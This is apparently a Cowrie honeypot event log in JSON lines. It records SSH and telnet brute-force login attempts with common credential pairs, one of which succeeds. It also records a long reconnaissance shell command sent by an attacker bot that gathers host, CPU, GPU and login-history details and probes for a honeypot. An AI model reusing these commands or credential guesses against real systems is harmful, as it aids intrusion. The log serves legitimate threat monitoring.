{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:00.902088Z","src_ip":"160.187.174.22","session":"4f9306d810ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.177.234.24","src_port":52096,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2c06cd5ad6b","protocol":"ssh","message":"New connection: 14.177.234.24:52096 (10.17.0.5:22) [session: e2c06cd5ad6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:06.466128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:06.470417Z","src_ip":"14.177.234.24","session":"e2c06cd5ad6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:06.725954Z","src_ip":"14.177.234.24","session":"e2c06cd5ad6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4t5z6","message":"login attempt [root/q1w2e3r4t5z6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:07.779668Z","src_ip":"14.177.234.24","session":"e2c06cd5ad6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:09.037746Z","src_ip":"14.177.234.24","session":"e2c06cd5ad6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":47636,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b5c1b1a763b","protocol":"ssh","message":"New connection: 160.187.174.22:47636 (159.203.135.109:22) [session: 1b5c1b1a763b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:28.462711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:28.466070Z","src_ip":"160.187.174.22","session":"1b5c1b1a763b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:28.701331Z","src_ip":"160.187.174.22","session":"1b5c1b1a763b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask123","message":"login attempt [flask/flask123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:29.417962Z","src_ip":"160.187.174.22","session":"1b5c1b1a763b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:30.659736Z","src_ip":"160.187.174.22","session":"1b5c1b1a763b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":35426,"dst_ip":"10.17.0.5","dst_port":22,"session":"b382fe357b96","protocol":"ssh","message":"New connection: 91.92.40.4:35426 (10.17.0.5:22) [session: b382fe357b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:33.639831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:33.643575Z","src_ip":"91.92.40.4","session":"b382fe357b96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:33.723764Z","src_ip":"91.92.40.4","session":"b382fe357b96","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"wasd","message":"login attempt [oracle/wasd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:33.973563Z","src_ip":"91.92.40.4","session":"b382fe357b96","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:34.492565Z","src_ip":"91.92.40.4","session":"b382fe357b96","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:34.496093Z","src_ip":"91.92.40.4","session":"b382fe357b96","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:34.499425Z","src_ip":"91.92.40.4","session":"b382fe357b96","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:34.502458Z","src_ip":"91.92.40.4","session":"b382fe357b96","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:34.505256Z","src_ip":"91.92.40.4","session":"b382fe357b96","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:34.508897Z","src_ip":"91.92.40.4","session":"b382fe357b96","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:34.511268Z","src_ip":"91.92.40.4","session":"b382fe357b96","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:34.513719Z","src_ip":"91.92.40.4","session":"b382fe357b96","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:34.516535Z","src_ip":"91.92.40.4","session":"b382fe357b96","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:34.519597Z","src_ip":"91.92.40.4","session":"b382fe357b96","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:34.522895Z","src_ip":"91.92.40.4","session":"b382fe357b96","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:34.612900Z","src_ip":"91.92.40.4","session":"b382fe357b96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:34.696341Z","src_ip":"91.92.40.4","session":"b382fe357b96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41660,"dst_ip":"159.203.135.109","dst_port":23,"session":"9418bdbcf333","protocol":"telnet","message":"New connection: 170.64.224.25:41660 (159.203.135.109:23) [session: 9418bdbcf333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:45.306361Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55354,"dst_ip":"159.203.135.109","dst_port":22,"session":"668eaad8779e","protocol":"ssh","message":"New connection: 160.187.174.22:55354 (159.203.135.109:22) [session: 668eaad8779e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:58.640359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:58.644431Z","src_ip":"160.187.174.22","session":"668eaad8779e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:58.883665Z","src_ip":"160.187.174.22","session":"668eaad8779e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"12345678","message":"login attempt [gitlab/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:24:59.661309Z","src_ip":"160.187.174.22","session":"668eaad8779e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:00.933418Z","src_ip":"160.187.174.22","session":"668eaad8779e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:08.314695Z","src_ip":"89.223.69.22","session":"fc90f7751a4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45414,"dst_ip":"159.203.135.109","dst_port":23,"session":"1648fe8e48cd","protocol":"telnet","message":"New connection: 170.64.224.25:45414 (159.203.135.109:23) [session: 1648fe8e48cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:14.458073Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":44148,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1e5a53e894e","protocol":"ssh","message":"New connection: 160.187.174.22:44148 (159.203.135.109:22) [session: c1e5a53e894e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:26.804125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:26.809742Z","src_ip":"160.187.174.22","session":"c1e5a53e894e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:27.049804Z","src_ip":"160.187.174.22","session":"c1e5a53e894e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:27.792366Z","src_ip":"160.187.174.22","session":"c1e5a53e894e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.03459692001343,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:28.340826Z","src_ip":"170.64.224.25","session":"9418bdbcf333","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:29.033715Z","src_ip":"160.187.174.22","session":"c1e5a53e894e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":48104,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba784255857c","protocol":"ssh","message":"New connection: 62.133.62.83:48104 (159.203.135.109:22) [session: ba784255857c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:38.005882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:38.010438Z","src_ip":"62.133.62.83","session":"ba784255857c","protocol":"ssh"}
